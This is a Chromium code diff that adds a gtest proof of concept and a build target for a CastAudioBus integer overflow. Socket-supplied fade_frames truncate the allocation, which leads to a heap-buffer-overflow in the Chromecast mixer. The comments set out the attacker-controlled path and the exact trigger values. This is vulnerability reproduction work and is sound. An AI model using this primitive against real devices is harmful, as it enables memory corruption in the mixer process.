diff --git a/BUILD.gn b/BUILD.gn index 32a2ff5978c74..2efd1eec8083c 100644 --- a/BUILD.gn +++ b/BUILD.gn @@ -671,6 +671,13 @@ group("gn_all") { deps += [ "//chromecast:cast_test_lists" ] } + if (is_linux) { + # POC: integer overflow in CastAudioBus -> heap-buffer-overflow. + deps += [ + "//chromecast/media/audio/overflow_poc:cast_audio_fader_overflow_poc", + ] + } + if (is_cast_android || is_castos) { deps += [ "//chromecast:cast_shell", diff --git a/chromecast/media/audio/overflow_poc/BUILD.gn b/chromecast/media/audio/overflow_poc/BUILD.gn new file mode 100644 index 0000000000000..978129bc6edbf --- /dev/null +++ b/chromecast/media/audio/overflow_poc/BUILD.gn @@ -0,0 +1,31 @@ +# Copyright 2025 The Chromium Authors +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. +# +# Standalone POC test for the CastAudioBus / AudioFader integer-overflow -> +# heap-buffer-overflow. Compiles the vulnerable sources directly so it can be +# built on a desktop Linux ASAN config without enable_cast_receiver / is_castos +# (which would otherwise pull in the full Chromecast dependency tree). + +import("//testing/test.gni") + +test("cast_audio_fader_overflow_poc") { + sources = [ + "//chromecast/media/audio/audio_fader.cc", + "//chromecast/media/audio/audio_fader.h", + "//chromecast/media/audio/cast_audio_bus.cc", + "//chromecast/media/audio/cast_audio_bus.h", + "audio_fader_overflow_poc.cc", + ] + deps = [ + "//base", + "//base/test:run_all_unittests", + "//testing/gtest", + ] + + # The chromecast/ tree is normally built with is_castos=true, which disables + # enable_check_raw_ptr_fields. audio_fader.h still uses a bare pointer member + # (the very class we are exercising), so suppress the plugin here just like + # the production build effectively does. + configs -= [ "//build/config/clang:find_bad_constructs" ] +} diff --git a/chromecast/media/audio/overflow_poc/audio_fader_overflow_poc.cc b/chromecast/media/audio/overflow_poc/audio_fader_overflow_poc.cc new file mode 100644 index 0000000000000..754df2564c469 --- /dev/null +++ b/chromecast/media/audio/overflow_poc/audio_fader_overflow_poc.cc @@ -0,0 +1,103 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// POC: Integer overflow in CastAudioBus allocation via socket-supplied +// fade_frames -> heap-buffer-overflow in the Chromecast mixer process. +// +// Root cause: CastAudioBus::CastAudioBus computes the backing-store size as +// `new float[channels * frames]` in 32-bit int arithmetic +// (chromecast/media/audio/cast_audio_bus.cc:17). With channels=4 and +// frames=0x40000004 the product 0x100000010 truncates to 16, so only +// 64 bytes are allocated while frames_ retains 0x40000004 and +// channel_data_[i] = data_ + i*frames yields out-of-bounds pointers. +// +// AudioFader (chromecast/media/audio/audio_fader.cc:45) creates this +// undersized fade_buffer_ from the attacker-controlled OutputStreamParams +// fade_frames field (mixer_input_connection.cc:394-400), and on each render +// tick AudioFader::FillFrames (audio_fader.cc:105-112) hands the undersized +// channel pointers to the upstream provider, requesting ~1e9 frames. In the +// real mixer that provider is MixerInputConnection::FillFromQueue, which +// std::copy_n's the attacker's queued PCM payload into those pointers. +// +// This test reproduces the memory primitive directly: a stand-in provider +// behaves like FillFromQueue (copies one queued packet's worth of attacker +// floats into each channel pointer). ASAN reports a heap-buffer-overflow +// write past the 64-byte fade_buffer_ allocation. + +#include +#include + +#include "base/compiler_specific.h" +#include "chromecast/media/audio/audio_fader.h" +#include "testing/gtest/include/gtest/gtest.h" + +namespace chromecast { +namespace media { + +namespace { + +constexpr int kPocChannels = 4; +constexpr int kPocSampleRate = 48000; + +// Attacker-controlled OutputStreamParams.fade_frames (int32 proto field). +// 4 * 0x40000004 = 0x100000010, which truncates to 16 in int32. +constexpr int kPocFadeFrames = 0x40000004; + +// Size of one queued attacker audio packet (frames). FillFromQueue copies +// min(requested, packet_frames) per channel. +constexpr int kPocPacketFrames = 256; + +// Stand-in for MixerInputConnection (FillFromQueue): copies up to one +// packet's worth of attacker-controlled floats into each channel pointer it +// receives from AudioFader. +class PocProvider : public AudioProvider { + public: + int FillFrames(int num_frames, + int64_t /*playout_timestamp*/, + float* const* channel_data) override { + const int frames_to_copy = std::min(num_frames, kPocPacketFrames); + for (int c = 0; c < kPocChannels; ++c) { + // Heap-buffer-overflow on the second invocation: channel_data[0] is the + // 64-byte fade_buffer_ backing store; we write 1024 bytes into it. ASAN + // aborts here before reaching the wild channel-1 pointer on 64-bit. + std::fill_n(UNSAFE_TODO(channel_data[c]), frames_to_copy, + 1.25f /* attacker-controlled bytes */); + } + return frames_to_copy; + } + size_t num_channels() const override { return kPocChannels; } + int sample_rate() const override { return kPocSampleRate; } +}; + +} // namespace + +TEST(AudioFaderOverflowPoc, FadeFramesIntegerOverflow) { + PocProvider provider; + + // Mirrors `new TimestampedFader(this, fade_frames_)` in + // MixerInputConnection's constructor with the attacker's params. + // AudioFader ctor: CastAudioBus::Create(4, 0x40000004) allocates float[16]. + AudioFader fader(&provider, kPocFadeFrames, /*playback_rate=*/1.0); + + // Mixer's legitimate render destination (256 frames x 4 channels). + std::vector dest(static_cast(kPocChannels) * kPocPacketFrames, + 0.0f); + float* channels[kPocChannels]; + for (int c = 0; c < kPocChannels; ++c) { + UNSAFE_TODO(channels[c]) = + UNSAFE_TODO(dest.data() + static_cast(c) * kPocPacketFrames); + } + + // AudioFader::FillFrames: + // 1) provider->FillFrames(256, ..., channels) -- valid dest, OK + // 2) provider->FillFrames(0x40000004, ..., fade_buffer_->channel(c)) + // channel(0) = data_ (64-byte alloc) -> 1024-byte write -> OOB. + fader.FillFrames(kPocPacketFrames, /*playout_timestamp=*/0, channels); + + // Not reached under ASAN. + ADD_FAILURE() << "Expected ASAN heap-buffer-overflow before this point"; +} + +} // namespace media +} // namespace chromecast